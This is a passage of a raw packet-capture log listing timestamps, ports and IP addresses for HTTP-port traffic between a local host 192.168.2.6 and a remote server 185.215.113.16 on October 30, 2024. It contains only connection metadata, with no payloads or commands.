Oct 30, 2024 05:24:28.503464937 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503473997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503482103 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.503506899 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.503520966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503530979 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503549099 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503556013 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.503580093 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503592968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503599882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503614902 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.503642082 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.503664017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503673077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503678083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503684044 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503688097 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503700972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503721952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503732920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503751993 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.503770113 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.503809929 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.503981113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503989935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504010916 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504029989 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.504045963 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504055023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504065990 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504087925 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.504111052 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.504127979 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504137993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504157066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504177094 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.504187107 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504194975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504210949 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504218102 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.504230976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504241943 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.504296064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504304886 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504317999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504338980 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.504343033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504352093 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504363060 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.504371881 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504390001 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.504395962 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504405022 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504427910 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504435062 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.504446030 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504453897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504463911 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.504472971 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504482985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504491091 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.504506111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504515886 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.504683018 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504708052 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504722118 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504728079 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.504776001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504786015 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.504791021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504810095 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.504846096 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.504997015 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505033016 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.505055904 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505106926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505116940 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505145073 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.505156040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505165100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505173922 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505191088 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.505222082 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.505250931 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505258083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505261898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505266905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505271912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505295992 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505300999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505311012 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505316019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505376101 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.505383968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505393982 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505413055 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.505575895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505608082 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.505614996 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505624056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505652905 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.505664110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505672932 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505702019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505712986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505718946 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.505739927 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505749941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505758047 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.505772114 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505788088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505798101 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.505810022 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505822897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505829096 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.505872011 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505878925 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.505897045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505960941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505971909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505980968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.505997896 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.506025076 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.506036997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506074905 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.506093979 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506103039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506124973 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506134033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506160021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506169081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506176949 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.506176949 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.506187916 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506197929 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506206989 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.506217003 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506232977 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.506550074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506558895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506577969 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506591082 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.506604910 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506614923 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.506623030 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506632090 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506666899 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.506683111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506714106 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.506721020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506731033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506762028 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.506782055 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506792068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506807089 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506814957 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506823063 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.506835938 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506844997 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.506851912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506863117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.506901026 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.530700922 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.545288086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.545299053 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.545315981 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.545325041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.545342922 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.545388937 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.545555115 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.545567989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.545586109 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.545603991 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.545624018 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.545631886 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.545643091 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.545660019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.545675993 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.545835018 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.545844078 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.545861006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.545875072 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.545897961 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.545913935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.545922995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.545938969 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.545975924 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.545996904 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546016932 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546025991 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546053886 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.546284914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546297073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546314001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546323061 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.546331882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546346903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546363115 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.546416044 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546426058 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546443939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546451092 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.546463013 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546473026 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546479940 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.546770096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546807051 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.546829939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546840906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546864986 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.546889067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546897888 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546916962 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.546921015 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546947002 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546955109 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.546966076 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546974897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.546987057 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.547005892 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.547017097 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.547049046 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.547075033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.547086954 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.547106981 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.547122002 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.547141075 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.553498983 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.576661110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.576670885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.576680899 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.576745033 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.576764107 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.576773882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.576796055 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.576803923 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.576849937 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.620752096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.620814085 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.620821953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.620826960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.620922089 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.620965958 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621001959 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621014118 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621052027 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.621073008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621082067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621099949 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621108055 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.621126890 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621134996 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.621154070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621166945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621185064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621197939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621208906 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.621213913 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.621572018 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621582985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621588945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621639967 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.621655941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621665001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621675014 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621720076 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.621752024 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621763945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621782064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621789932 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.621812105 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.621819019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621829987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621843100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621865034 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.621876955 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621897936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621910095 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.621913910 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621929884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621962070 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.621968031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.621978045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622008085 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622014046 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622021914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622039080 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622045040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622059107 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622078896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622102022 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622107029 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622117043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622128963 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622140884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622152090 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622195959 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622226000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622232914 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622251034 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622276068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622283936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622296095 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622304916 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622334957 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622342110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622353077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622361898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622374058 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622386932 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622400999 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622406960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622416019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622433901 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622447968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622452974 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622461081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622471094 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622489929 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622497082 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622512102 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622522116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622539997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622564077 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622591019 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622601032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622646093 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622653961 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622694969 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622714043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622725010 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622742891 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622751951 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622767925 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622780085 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622786999 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622802019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.622817993 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.622827053 CET	80	49760	185.215.113.16	192.168.2.6
